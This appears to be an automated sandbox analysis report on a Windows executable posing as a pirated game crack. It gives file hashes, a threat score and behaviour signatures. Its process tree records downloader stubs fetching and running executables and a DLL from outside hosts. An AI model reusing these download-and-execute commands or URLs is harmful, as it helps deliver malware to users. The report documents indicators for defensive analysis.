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Analysis

  • max time kernel
    167s
  • max time network
    178s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/12/2023, 04:25

General

  • Target

    0507d7fe7dad30c1188318e78cd85cf3.exe

  • Size

    511KB

  • MD5

    0507d7fe7dad30c1188318e78cd85cf3

  • SHA1

    5a19fb12b50f9a8294568faf41233a1fdc3130a7

  • SHA256

    36c8c85ee180d118882a45d16a5116155e0ad9f8181c5112aa40bd7045df3a92

  • SHA512

    036c8eb9a92b4eb8bcad6cd2bef175de1c2990ba686801d75a5f9cf35f7971ac01c8a82683c0cc2687fb64a3e47ec26d4c45bada1093bd70da2780cd96baae1f

  • SSDEEP

    12288:4B38O6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:4BsO8XVNCiH7j4RH

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0507d7fe7dad30c1188318e78cd85cf3.exe
    "C:\Users\Admin\AppData\Local\Temp\0507d7fe7dad30c1188318e78cd85cf3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:412
    • C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe 0 "3dassassins creed 2 crack [skidrow] update patch v1.01 save ga" "Download"
      2⤵
      • Executes dropped EXE
      PID:2904
    • C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER0.exe
      C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\optimizer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2052
    • C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:1080
    • C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:756
    • C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:1272
    • C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe

    Filesize

    213KB

    MD5

    06baef00ae0f0e42fc5fea24fc4eac42

    SHA1

    9161574590f09cfe4c24498827386ed57f2e8c58

    SHA256

    19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

    SHA512

    29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

  • C:\Users\Admin\AppData\Local\Temp\nsvE06E.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • memory/412-45-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2904-46-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB